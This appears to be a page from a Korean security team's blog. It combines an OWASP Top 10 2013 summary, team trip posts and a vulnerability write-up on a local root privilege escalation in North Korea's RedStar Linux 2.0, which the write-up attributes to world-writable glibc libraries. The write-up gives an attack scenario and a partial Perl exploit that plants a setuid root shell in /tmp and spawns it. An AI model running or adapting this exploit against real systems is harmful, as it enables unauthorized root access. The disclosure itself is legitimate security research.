OWASP Top 10 2013

웹 어플리케이션 2013. 3. 4. 22:10 Posted by blarees

3년을 주기로 배포하는 OWASP top 10 이 새로이 배포되었습니다.

해당 내용은 아래의 URL 에서 확인 하 실 수 있습니다.

https://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf

https://www.owasp.org/index.php/Top_10_2013-Main
https://www.owasp.org/index.php/Top_10_2013-T10


변화된 내용은 아래와 같습니다.


A6 Sensitive Data Exposure
A7 Missing Fuction Level Access Control
A8 Using Known Vulnerable Components


A6 Sensitive Data Exposure
2010-A7, 2010-A9의 내용이 2013-A6으로 합쳐지는 것으로 확인 할 수 있습니다.
내용을 확인해보면 2010-A7 Insecure Cryptographic Storage(안전하지 않은 암호화 저장)  2010-A9 Insufficient Transport Layer Protection (불충분한 전송계층 보호) 이 두부분을 통합하였다고 생각할 수 있습니다.

사용자의 민감한 정보(개인정보)는 최초 입력 시, 암호화 전송을 하여야합니다. 데이터 처리 및 암호화 저장 또한 기본적으로 server-side에서 이루어 져야 합니다.

A7 Missing Fuction Level Access Control
2010-A8 Failure to Restrict URL Access(URL 접근제한의 실패)를 2013-A7 Missing Function Level Access Control(단계적 접근 제한 기능 누락)로 확장되었습니다.
단순히 URL 접근제어 뿐만이 아닌, 모든 단계적(level) 접근 제한 기능을 내포하기 위해서 확장시켰다는 것을 확인 할 수 있습니다.

사용자의 식별 및 등급에 따른 기능의 구분이 존재할 경우, 사용자 접근 제어 또한 반드시 server-side에서 이루어 져야 합니다.

A9 Using Known Vulnerable Components

2010-A6 Security Misconfiguration (잘못된 보안 설정) 에서 기본적으로 내포하고 있었습니다. 하지만 component 기반 개발의 성장으로, 알려진 취약한 components 사용의(using known vulnerable components) 위험이 커짐으로써 하나의 카테고리로 만들어진 것을 확인할 수 있습니다.

component는 사용되어진 libray, apache 서버, iis 서버 혹은 freeware html 편집기등을 포함한 제공하는 서비스를 구성하는 모든 요소를 지칭합니다.
구성하는 component 들에 대한 최신 취약점과 패치를 항상 확인해야합니다.


BREAK FREE 2012 in 을왕리

CR@K 이야기 2013. 1. 10. 23:44 Posted by TEAMCR@K

2012 한 해를 정리하는 마음으로 팀원들끼리 을왕리에서 소소한 모임을 가졌습니다.

이름하야 '2012 놀먹 프로젝트 - 놀고 먹자 프로젝트'

총 2가지 기획이 있었는데 그 첫 번째로 2012년 11월 30일, 을왕리에서 전 팀원 모임을 가지게 되었습니다.




BREAK FREE 2012 in H.K - First Story

CR@K 이야기 2013. 1. 10. 22:46 Posted by TEAMCR@K

2012년 한 해 동안 쌓인 스트레스를 푸는 그 두 번째 프로젝트!! 바로 홍콩!

홍콩은 경비가 많이 드는 관계로 전 팀원이 참석은 못하고 희망자 3인 + 강제소환 1인!

이렇게 4인 멤버로 프로젝트를 진행했습니다.



홍콩 가는 당일 새벽 눈이 너무 많이 와서 걱정했었습니다.


BREAK FREE 2012 in H.K - Second Story

CR@K 이야기 2013. 1. 10. 15:34 Posted by TEAMCR@K

홍콩에서 첫날밤을 무사히 보내고 점심을 먹기 위해 음식점에 예약을 했습니다.

그 곳은 예약을 안 하고 갔더니 출입이 안 되더군요ㅠㅠ

그래서 예약을 하고는 근처 커피숍에서 잠시 대기타고 있었습니다.



프라이버시 박모군



홍콩에 강제소환당한 하모군ㅋㅋㅋ


여차저차하여 킬링타임 후 식당에 무사히 안착!


홍콩에서 먹는 점심식사를 보통 '딤섬'이라고 하는 것 같습니다.

점심타임, 그리고 저녁타임에 오더 가능한 메뉴가 달라서 목표로 삼았던 몇몇가지 음식은 주문하지 못했습니다.

아.. ㅠㅠ



N.Korea RedStar 2.0 Incorrect permission local root exploit


TeamCR@K


개요

북한에서 개량하여 배포한 일명 ‘붉은별 리눅스’는 현재 2.0 버전까지 배포되는 것으로 알려지고 있으며, P2P 공유 사이트 등으로 다운로드 받아 설치 해 볼 수 있다. 해당 리눅스 OS 는 CD를 배포할 때 설정상의 문제점이 존재하여 이를 이용해 일반 사용자가 관리자 권한을 획득할 수 있다.


상세설명

리눅스 시스템은 보통 glibc라는 라이브러리 환경에 종속되는데, glibc 라이브러리 내에는 공유라이브러리(shared library)로 대표되는 라이브러리들이 포함된다. 보통 프로그램 기동 시, 많이 사용되는 대표적인 함수들의 구현은 전부 본 glibc의 공유라이브러리에서 담당하게 된다. 

 



[그림 1] glibc 라이브러리에 포함되는 ‘C library functions’


(발췌: Advanced Programming in the Unix Environment)


위 그림에 표현되어 있는 ‘C library functions’가 바로 glibc 라이브러리의 역할을 나타내며 리눅스 시스템에서 kernel 다음으로 중요한 위치를 차지한다는 것을 알 수 있다. 이런 중요한 역할을 하는 glibc 라이브러리는 기본적으로 시스템 관리자(root)만 쓰고 지울 수 있는 권한을 갖게 되는데 ‘붉은별 리눅스’는 일반 사용자도 그 내용을 쓰고 지울 수 있게 되어 있어 이를 이용해 일반 사용자가 관리권한을 획득 할 수 있다.

본 라이브러리의 잘못된 설정권한을 이용해 일반 사용자가 관리자 권한을 획득 할 수 있는 시나리오로 다음과 같은 구상이 가능하다.


1. 악의적인 라이브러리 파일 생성

2. 해당 악의적인 라이브러리 파일의 내용과 실제 존재하는 라이브러리 파일의 내용을 치환

3. root권한의 suid bit가 설정되어 있으며, 악의적인 내용의 라이브러리 파일을 참조하는 프로그램을 실행

4. 관리자 권한 획득


다음은 위 시나리오를 자동화 한 프로그램 소스코드의 일부이다.


#!/usr/bin/perl

#

use Fcntl ":mode";

use IO::Handle;


my $banner = "RedStar 2.0 Linux (N.Korea) root exploit";

my $shellname = "/tmp/sh";

my @cfiles = ($target, $suidfile, "/usr/bin/bzip2");

my @perms = (S_IWOTH, S_ISUID, S_IXOTH);

my $bz2bin = 

"\x42\x5A\x68\x39\x31\x41\x59\x26\x53\x59\x91\x83\xB7\xAB\x00\x04".


-- > snip <--


my $success = 0;

for($i = 0; $i < 60; $i++) {

print ".";

flush STDOUT;

if(($ret = permcheck($shellname, S_ISUID)) == 0) {

print "\n[*] Exploit successfully!\n";

$success = 1;

sleep 1;

system($shellname);

last;

}

sleep 1;

}


if($success == 0) {

print "\n[!] Exploit failed.\n";

}


cleanup:

print "[*] Cleanup!\n";


unlink($backupfile);

unlink($evil_bin);


if($success == 1) {

print "[*] A ROOT SHELL IS '$shellname'. DELETE IT YOURSELF!\n";

}


exit(0);


다음은 위 소스코드를 이용해 일반 사용자가 관리 권한을 획득하는 화면이다.



[그림 2] exploit을 이용해 일반 사용자가 관리권한을 획득하는 화면


테스트에 사용된 OS의 버전은 2.0, ISO 이미지의 MD5 Checksum 값은 다음과 같다.

7ba35ae027787a9aa0013695a97c110c RS2.ISO